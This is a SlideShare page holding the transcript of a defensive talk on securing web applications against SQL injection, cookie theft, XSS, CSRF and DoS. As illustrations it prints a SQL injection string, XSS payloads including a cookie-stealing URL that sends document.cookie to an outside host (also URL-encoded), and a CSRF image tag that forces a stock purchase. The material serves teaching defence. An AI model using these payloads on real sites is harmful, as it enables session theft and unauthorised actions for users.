• Share
  • Email
  • Embed
  • Like
  • Save
  • Private Content
Roberto Bicchierai - Defending web applications from attacks
 

Roberto Bicchierai - Defending web applications from attacks

on

  • 1,569 views

Is my web application exposed? We will present a short guide for the "contemporary developer" of web apps: we will survey the critical points of our web apps, the database, session stealing, cookies. ...

Is my web application exposed? We will present a short guide for the "contemporary developer" of web apps: we will survey the critical points of our web apps, the database, session stealing, cookies. We will then review the most common attacks from DOS to XSS to CSRF and ways to defend and / or limit damages.

Statistics

Views

Total Views
1,569
Views on SlideShare
1,567
Embed Views
2

Actions

Likes
0
Downloads
15
Comments
0

2 Embeds 2

http://www.slideshare.net 1
http://www.linkedin.com 1

Accessibility

Categories

Upload Details

Uploaded via as Microsoft PowerPoint

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment

    Roberto Bicchierai - Defending web applications from attacks Roberto Bicchierai - Defending web applications from attacks Presentation Transcript

    • Defending web applications from attacks
      Roberto Bicchierai
      http://roberto.open-lab.com
      rbicchierai@open-lab.com
    • “Web appsw.t.f.?”
      Channel/protocol usage: e-mail client, skype, dropbox, twitter clients, etc. (mainly for personal use)
      Extra-nets: salesforce, bugzilla, teamwork, alfresco, home banking, jira, etc. (mainlyfor a restrictedgroupofusers)
      Extended audience: blogs, communities e.g.: facebook, linkedin (for huge groups and anonymous users)
    • This speech is focused on letting you know some commons mistakes you MUST avoid when writing a web application.
    • Seems easy to say “security”…
      Classical branches:
      Hardware security
      Cryptography
      Identity
    • Cryptography
      Every single byte you send can be read.
      SSL does not guarantee 100% and slows down your apps.
      Sniffing requires knowledge, software, hardware and physical access to wires.
    • User identity
      Username/e-mail and password
      strength: “p455w0rD.” better than “password” or “p”
      avoid login name, family name, birth date, phone number, child or pet’s names (remember Joshua!)
      try to avoid dictionary ones (record number of attempts!)
      never store passwords on your db
      The newdictionary: why “qazwsxedc” isnot so strong?
      OpenIDis a suitable alternative for some web apps.
      Biometrics are NOT.
      Datibiometrici (difficilmenteusabili)
    • Did I miss something?
      My servers are in a fortress
      3 firewall levels (and one dragon)
      I use 56 chars non-alpha pwd
      pwd expires every 10 days
      I use SSL 1024(128) bit encryption
      I hung blu velvet curtains to the windows
    • Your app sucks!
      Injection
      Cookies
      XSS
      CSRF
      The problem is in the application…
    • Injection: I don’t need a password!
      Earth 2010:
      lotsofapplications are still open to the classicalsqlinjectionvulnerability:
      jsmith
      a’ or ‘a’=‘a
      “select * fromuserswhere username=‘” + login +”’ and password=‘” + password +”’ ”
      DON’T
    • Damned HTML… and your browsers
      3 ingredients make web apps vulnerable:
      HTML was not for applications! But it is! (code injection is too easy)
      HTTP uses cookies for handling sessions
      Javascript, that is ubiquitous in a page (and reads cookies)
      butmainly
      browsers
    • Remember me!
      Saltedcookies, saltedcookies!
      Usesalt and peppertohash login data.
      Do notmakethemreversible!
      md5(user.id+”hash”)
      md5(user.id+”jfhsdj*dsj2+39jrw_enw”)
    • Protectcookies!
      lost cookies = session stolen, now I’m you!
      Hard to recover! Quite “easy” to prevent
      use HttpOnly cookies
      restrict cookie’s scope by setting host, path, expiry
      encrypt data saved on cookies
    • Injectionreloaded: aka XSS
      JSP-ASP example:
      notes:
      <textarea name=“notes”><%=note%></textarea>
      your name: <input type=”text” value=“<%=yourName%>”>
      <%=yourName%>
      notes:
      </textarea><script>alert(“you stink!”)</script>
      your name:
      john “> <script>alert(“I can do everything!”)</script>
      thisis the basicsofXSS
    • XSS
      How I’llgetyourcookies:
      http://host/a.php?variable="><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi? '%20+document.cookie</script>
      “Websites from FBI.gov, CNN.com, Time.com, Ebay, Yahoo, Apple computer, Microsoft, Zdnet, Wired, and Newsbytes have all had one form or another of XSS bugs.” www.cgisecurity.com
    • XSS: encodeuserinputs
      Do not think it’s easy:
      if (userInputs.contains(“<script>”))
      killTheUser();
      itdoesn’t work!
      http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e
      Do yourecognizethis? Itis the same script!
      Some browsersaccept Ascii, hex, octal, url encoding, unicode, html, etc.
    • XSS: encodeuserinputs
      The safest solution?
      Limit user inputs to plain text
      Html encode every single field
      http://host/a.php?variable=&quot;&gt;&lt;script&gt;document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?%20+document.cookie&lt;/script&gt;
      Sweet dreams! This is always safe!
    • XSS: no plain text? so, pain test!
      Your app allows rich text inputs?
      Did your user need the full power of HTML? Try to avoid using it. Use a lightweight markup language instead.
      • Markdown
      • Textile
      • BBCode
      • Wikipedia
    • XSS: I like HTML
      Sanitizing an HTML input is really hard work.
      Do not be shy:
      restrict allowed tags: <i><b><a><u><br><hr>
      kill dangerous tags: <script><object><embed>etc.
      test urls:
      <a href=“javascript: or background-image:url(‘…
      limit css styles, e.g.: position
      HtmlEncode all the rest!
    • XSS: test yourpages
      There are about 150 different XSS exploits!
      Test inputs using examples on
      http://ha.ckers.org/xss.html
      with different browsers and versions.
      Use XSSme plugin for FireFox.
    • Missionaccomplished. XSS destroyed!
      Does the user exactly know what she is doing?
      Everytime?
      click here
      next target:
      Cross Site Request Forgery
    • CSRF: howdoesit work?
      John is authenticated on site A. e.g.: stoks.example.com
      John visit the site B reading news: hotStoksNews.goodboy.com
      B contains the CSRF attack to site A e.g.:
      <img src=“http://stoks.example.com/buy.jsp? symbol=KRAK&shares=1000”>
      John is now an happy owner
      of 1000 KRAK shares!
    • CSRF: protectyourapp
      There aren’t many solutions:
      Server-side
      Generated
      Tokens!
    • CSRF & Tokens: howto
      your server generates a random number and: - insert it as hidden parameter in the form (or in the url in case of get)- store it in the user session
      when the form request is received a hidden parameter is matched with the in-session one
    • CSRF & Tokens
      Cons:
      reloading a page (F5) will generate “invalid token error”
      if a page has different entry points token generation may be annoying
      Pros:
      safe
      safe
      safe
    • API: a newenemy?
      REST, JSON, XML API are not evil in themself, but:
      there is no “standard” authentication
      when used with JS clients this may reveal the user key
      you are exposing new ways for xss and csrf
    • DoS: Denialof Service
      DoS protocol level: nothing to do… use intelligent gateways/router
      DoS application level: try to monitor IPs, manage a black-list (not useful for DDoS), kill suspect sessions
      Use session-less pages until authentication
      “DoS” and “Success” are similar, if you can endure an attack, you are ready to support thousands of users.
    • Yourapprocks!
      use strong passwords
      keep data in safe place
      do not store user’s passwords
      salt and pepper everywhere
      use SSL
      use Httponly cookies
      encode user inputs or sanitize them
      use server-side tokens for critical actions
      expose a read-only API
    • “Don’t be evil”
    • Thank you!
      Now: Q&A
      a startingpointwith a collectionof security relatedlinks:
      http://delicious.com/robicch/security
      my Java sanitizer:
      http://roberto.open-lab.com